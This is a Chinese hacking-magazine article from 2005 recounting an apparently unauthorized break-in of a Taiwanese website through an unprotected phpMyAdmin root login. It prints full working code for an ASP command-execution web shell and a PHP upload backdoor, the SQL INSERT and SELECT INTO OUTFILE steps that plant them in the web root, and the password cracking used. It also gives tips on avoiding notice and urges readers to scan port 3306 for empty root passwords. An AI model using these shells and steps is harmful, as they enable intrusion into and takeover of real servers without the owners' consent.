用Mysql得到Webshell(MySql Backup WebShell)
此文已发表到《黑客X档案》2005年第1期,请装载时著名来源:黑客X元素
Author:XaCk3r
Email:Xack3r@xhacker.cn
此篇文章是在一次入侵后的总结,无聊,拿到台湾的一个web站点做测试,开篇进入正题吧!开始拿到web地址时,Ping操作,接着就是调出X-scan扫描,目标主机只开放了21,80,3306,8080端口,并且无报任何漏洞。操作系统为windows 2003,明显是用了IIS服务器。分别telnet服务的端口为确定banner。目标主机使用了IIS,Serv-U FTPv5.2,MYsql4.0.21-nt。新版本,还没有发现漏洞,溢出就不大可能。
入侵分析:
我们先分析一下他的web程序,采用php+mysql,另外还架设了一个asp论坛。整站程序并没有多用户集群,而是采用了管理员后台添加删除等操作,而asp论坛提供上传功能。目前只有从注射和上传欺骗入手了。
先www.target.com.tw/admin,管理员后台登陆界面并没有删出,不过在我随意输入admin,admin之后却出现了“找不到這個頁面”,显然后台登陆的地方已经被管理员修改过,郁闷,猜解不出管理页面,构造极其麻烦对于我来说,不过程序左边却有快捷管理导航栏,当然一般情况只有进行正常登陆进去的时候,才能进行管理,随便打开一个连接,结果得到警告,不过,我们却得到了很重要的东西,因为管理员并没有完全处理php后台文件,导致调用的时候出错。
错误如下:
Fatal error: Cannot instantiate non-existent class: html_template_it in D:\www\target\bussiness\admin\mMoney\Money_News_List.php on line 20
可以说是我们无意中暴出的WEB路径。至少在写一些文件的时候,我们会少走一点弯路。
接着我们对bbs进行文件上传漏洞测试,上传,抓包,欺骗伪装,再进行上传,结果代码限制,上传未遂!
原以为到此结束的,可是目标机器的8080引起了我的注意力,进入www.target.com.tw:8080,出现的是“歡迎使用 phpMyAdmin 2.6.0-rc1 ”,这个不用我说了吧。PhpMyAdmin作为Web方式管理Mysql数据库的程序,但起眼的是“必須設定 $cfg['PmaAbsoluteUri'] 在設定檔內!”,最重要的还有“MySQL 版本 4.0.21-nt 在 localhost 執行,登入者為 root@localhost”。这是PhpMyAdmin下面的config.inc.php设置上的错误。我们能直接进行访问而且没有要求输入口令,我们可以看出$cfg['Servers'][$i]['auth_type'] = 'config';为默认设置,我们知道PHP安装模式为Apache时使用http和cookie;如果PHP安装模式为CGI,可以是用cookie;默认为config, 这是危险的设置,我们可以不需要认证登陆PhpMyAdmin。而且以本地root进行登陆。我们来查看一下权限,如图1所示。
管理员建立了一个用户给予自己的web程序使用,而留下root并没有进行清理或者限制,ALL PRIVILEGES所有权限。这样一来,我们就可以建立一个mysql管理员了,结果在预料之中,并没有权限不够的出错提示,成功建立Mysql管理员帐号。有关操作PhpMyAdin并非此文的要点,这里不再多说。
呵呵,有了管理员帐号,我们就可以做很多事情了,当然目的只有一个取得服务器权限,当时这中间还有一道工序还没有完成,Mysql不象MSQL那样只要以数据库管理员连接成功就可以直接进行添加系统管理员等操作。以我们建立的用户进行连接,记得牛族开发过一个SuperMysql(mysql数据库连接程序),我们无须本地安装mysql或者其他的数据库软件,SuperMysql已足够让我们执行命令和查看数据库内容。我们以刚才建立的用户名和密码,填入IP进行登陆。登陆成功会显示提示框,点击确认后界面如图2,
我们打开“mysql”这个数据库,可以看到数据库管理员的密码,不过是加密过的。呵呵,为了隐藏起见,我们破解出其中一个,以后就方便多了,以免被管理员无意中发现。“工欲善其事,必先利其器”,感谢xuanniao大哥写的crackmysql(破7位密码只要10分钟)速度其快,不管那么多了,先让他跑一下。发现加密过的密码都是一样的,管理员如此疏忽。把加密过的密码抓下来,不出五分钟,密码出来了,7851465。呵呵,现在我们可以删除我们刚才建立的那个用户,用其管理员帐号登陆了,因为写这篇文章的时候,入侵已经过去了,这里就不再罗嗦,我再用supermysl以root连接的时候,却连接失败,百思不得其解,最后返回到PhpMyAdmin才明白,大家可以从图1看出来root只能从本地连接(主机为localhost)。而另一用户则意味着“任何主机”(%通配符),这也是最不安全的地方。
我想下一步大家已经明白了,通过mysql数据库Backup MysqlDataWebShell。记得,SuperHei写过一个autogetwebshell(PHP语言所写、只要输入远程MySQL地址、库名、用户名、密码、代码以及一个可写的Web目录,就直接导出一个WebShell)拿来试试,依次填入相关数据,点击提交,结果并没有连接成功当然也就导出不了数据一开始我是在本地架设的Apache,以为是本地的问题 ,放到自己空间里面实验,结果也一样,返回的页面却是“无法找到网页”不知道是不是作者代码不完尚的缘故,因为php也在学习之中,也就没有余力去看autogetwebshell的代码了,看来还只有自己动手了。看过Swan写的Backup a shell文章,MSSQL在导出文件时遇到了字符转换,这样代码不可能被的解释执行。同样在mysql中以存在此类问题。我们以《通过mysql入侵NT和win2000》参考,通过sql语句把脚本输入到数据库,再把脚本导出到目标主机的web目录。详细代码请参看原文,输入命令如图3:
如果执行成功将会返回到mysql\bin目录下。如果目标主机的存在此表格或者cmd2.php存在,脚本将失效。
从浏览器中,虽然我们已经得到了Guest权限的shell,但是通过这个shell脚本却不能写东西,还有的说此shell为system shell,在此,不予雷同。崩溃,看来只有换个shell试了。由于服务器放有asp论坛,拉出简易的asp后门,构造成一个sql文件!
use target;
create table XaCk3r (cmd TEXT);//这里创建一个XaCk3r的表格,一个cmd字段的文本数据,以下就是sql语句插入asp木马的内容了。
insert into XaCk3r values('<%@ Language=VBScript %>
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="Run">
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>');
select * from XaCk3r into outfile 'd:\\www\target\\XaCk3r.asp'; //接着导出到web目录中。
然后转回到mysql目录,输入命令:mysql -h IP -u usename -p <XaCk3r.sql
命令执行成功并返回到mysql目录下。然后我们访问http://www.target.com/XaCk3r.asp。倒!执行错误,昏死。
Microsoft VBScript 编译器错误 错误 '800a0400'
缺少语句
/xack3r.asp,行2
^
原来打算省点事,不用那么一行一行的输入,但返回给我们的却并不满意。明显代码写入的时候格式破坏了,于是在本地进行测试,果然不出所料,在写入asp文件的时候,asp代码每一行都加了一个反斜杆(\),导致代码不能正确执行。难道还是一行一行的输入,试试吧!
再用牛族的Supermysql连接上去:输入以下命令;在这里说明一下,一年前的《一次艰难而真实的入侵》这篇文章,现在再次读起来,一些地方不予雷同。就比如插入代码到表格的语句,原文使用的是insert into tmp values(\"<% Dim oScript\")其中使用的是反斜杆(\),不知道现在网络上的文章是不是有意处理的,原文我并没有读过。而本文大家也可以从上面看出,使用的是insert into XaCk3r values('代码内容')使用的是单引号('),这样才能执行成功,否则执行失败。下面我们在supermysql里依次输入以下命令。
use target;
create table XaCk3r (cmd TEXT);
而asp后门也不得不一行一行的输入,不过,用上易优超级字典生成器的确省了点工夫,用途相信大家读过那篇文章也应该清楚。继续。
insert into XaCk3r values('<%@ Language=VBScript %>');
?????????????????????
insert into XaCk3r values('</HTML>');
不过,庆幸的是,输入的都弹出命令发送成功的消息框。最后一步,那就是导出asp文件了! 大家可以从图4
中看到表里写入的asp后门和发送成功的提示框了。怀着激动的心情访问http://www.target.com.tw/XaCk3r.asp,昏死!
“找不到這個頁面
您所要找的頁面可能已經被移除了,可能是它的名稱已經變更,或暫時無法使用。??????”居然出现这东西,这分明在整我!我们明明看到表里面的代码,为何导出了又访问不了,真是百思不得其解,多番询问高手,也没有得到答案。难道!!!不可能,导出的东西被第三方软件给吞噬了不成,那不是就没有戏了。难道努力都白费了,我们还是回到mysql环境下面吧,试试,在sql文件只需要写入两个语句然后存为sql文件。
use target;
select * from XaCk3r into outfile 'd:\\www\target\\XaCk3r.asp';
接着回到mysql环境下,输入mysql -h XXX.XXX.XXX.XXX -u usename -p <XaCk3r.sql
再访问http://www.target.com.tw/XaCk3r.asp,返回的结果仍然是“找不到這個頁面”,难道是被杀毒软件给截了,次脚本后门也算是盛行以久的了,我没有再想加密,再写入,那样添加到数据库的操作更加烦琐。既然目标服务器支持Php,为何不换一个Php后门试试。而且Php后门代码简洁,并没有那么多麻烦。说干就干,拉出php上传后门,而且代码简短,植入进去也没有那么麻烦!继续用连接Supermysql,免不了的重复操作,我并没有在字符前做任何转换,或者替代,只不过是语句里把反斜杆(\)换成了单引号(')看过《一次艰难而真实的入侵》文章的应该知道,原文采用的是反斜杆。代码如下:
<?php
$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "Successful" : "failure";
echo $msg;
?>
<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="Up" TYPE="submit"></form>
写入很顺利。导出的消息也发送成功,访问http://www.target.com.tw/XaCk3r.php,惊喜!真是皇天不付有心人。如图5,
这回我们我们从这个后门可以上传任何东西了,当然无非上传个更强大的php后门。
其实我们用不着那么麻烦,仍然可以构造sql文件省了不少事情,从《通过mysql入侵NT和win2000》中可以看出cmd2.php,处理后的mysql文件里所有双引号(")前面都加入了一个斜杆(\),还有这个符号(-)前面也要加入反斜杆(\),因为考虑mysql语言结构把"和-当作语句的一些代码规范处理,所以导入后语句并非原型,而用反斜来起到转意作用,学过C语言的朋友都应该了解!处理后在cmd环境下进入mysql所在目录,执行
mysql -h IP -u usename -p <XaCk3r.sql
以下是XaCk3r.sql的内容
use target;
create XaCk3r tmp (cmd TEXT);//这里创建一个XaCk3r的表格,一个cmd字段的文本数据
insert into XaCk3r values('<?php //这里就是插入代码到表里面了
$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? \"Successful\" : \"failure\";
echo $msg;
?>
<form ENCTYPE=\"multipart/form-data\" ACTION=\"\" METHOD=\"POST\">
<input NAME=\"MyFile\" TYPE=\"file\">
<input VALUE=\"Up\" TYPE=\"submit\"></form>');
select * from XaCk3r into outfile 'd:\\www\\target\\XaCk3r.php'; //接着导出到web目录中。
drop table XaCk3r; //删除表操作。上面的一些操作我们并没有此条语句,实际运用上,导出后最好删除此表,以免细心的管理员发现,不能疏忽。
继续访问,http://www.target.com.tw/XaCk3r.php出现一个代码警告,如图6:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in D:\www\target\index\xack3r.php on line 测试一下发现这个警告并没有影响到我的Php上传后门的功能,能正常上传!
到这里,我想入侵可以告一段落了,再此上传一个asp或者php超强管理后门,上去后,发现他的系统分区可写,并转到C:\Program Files,我们可以看到管理员安装的一些软件。图7:
HOHO,我想有几个软件大家都熟悉吧,开初我们上传的asp后门,是不是就因为它给夭折了。但其中的Serv-U我想就是我们取得主机权限的一大突破口了。ServUDaemon.ini相信也大家也以此突破了不少主机,至于相关突破,请大家参考《通过asp木马配合serv-u取得管理员权限》一文,此文到次也差不多该结束了。
最后,虽然说,此文遇到的情况有一些巧合,但也费了不少周折。拿到的主机我们还是来简单的对它设置一下,先从web入手,目标主机一开始的缺陷就在于phpMyAdmin配置不得当,其中有几个致命的地方。在asp后门下编辑config.inc.php文件,我们的确发现了一些地方和我们先前预料的一样。
A:$cfg['Servers'][$i]['auth_type'] = 'cookie'; // 这里我应该改为Http或者Cookie,原config.inc.php文件里是config!这是主要的。
B:$cfg['PmaAbsoluteUri'] = 'http://www.target.com.tw/phpmyadmin/';原文为空,也是危险的设置。
C:还有一点并不太确定管理员管理数据库是否通过远程,如果是远程,那我们对root的操作直观重要,如果动了root不能远程连接phpmyadmin 岂不是暴露了自己!假设是管理疏忽,安装后并未正确处理root用户,也没有远程管理这个打算,
那么$cfg['Servers'][$i]['user'] = 'root'; 这个地方我们应该去掉root,这样才不会导致我们从Web直接访问phpmyadmin而可以浏览全部数据库,而我们的身份则是以root@localhost。话又说回来,如果管理员以远程方式通过phpmyadmin登陆管理mysql数据,那么他应该意识到这个安全问题,所以我们做的更改是对的。为了安全起见,最好为phpMyAdmin设置专门的用户和权限,这里我们为目标设置为target,密码为7851465,该用户只能读取名为target数据库中的表:
grant select on target.* to target@localhost identified by "7851465";
然后,编辑phpMyAdmin的config.inc.php文件
$cfgServers[1]['controluser'] = 'target';
$cfgServers[1]['controlpass'] = '7851465';
入侵过程到此结束。总结:此文记述的也是一次真实的入侵过程。也是在一些同类文章的基础上写成。综合利用到一些知识,也有一些前述文章未能解决的问题!写得仓促,还望广大朋友得以谅解。此文提供的只是一种思路,着重的是解决了一些文章对导出shell的不足,也是本人多次尝试后的结果,希望能和更多的人交流学习。然而,如果大家以后对广大3306端口进行扫描,如果发现有root空口令的话,就没有了那么多迷茫,当然是在没有用别人写的工具上那更好不过,一些工具中仍然出现许多bug,并不一定在我们手里就能执行得那么畅通。更多的还是靠自己去帮助测试,来弥补一些软件作者的不足,这应该也算是一种精神所在吧!
欢迎和我多多交流XaCk3r QQ:83578988 E-mail:xack3r@xhacker.cn Htpp://Www.Xhacker.Cn
文章相关附件可以到google里面搜索!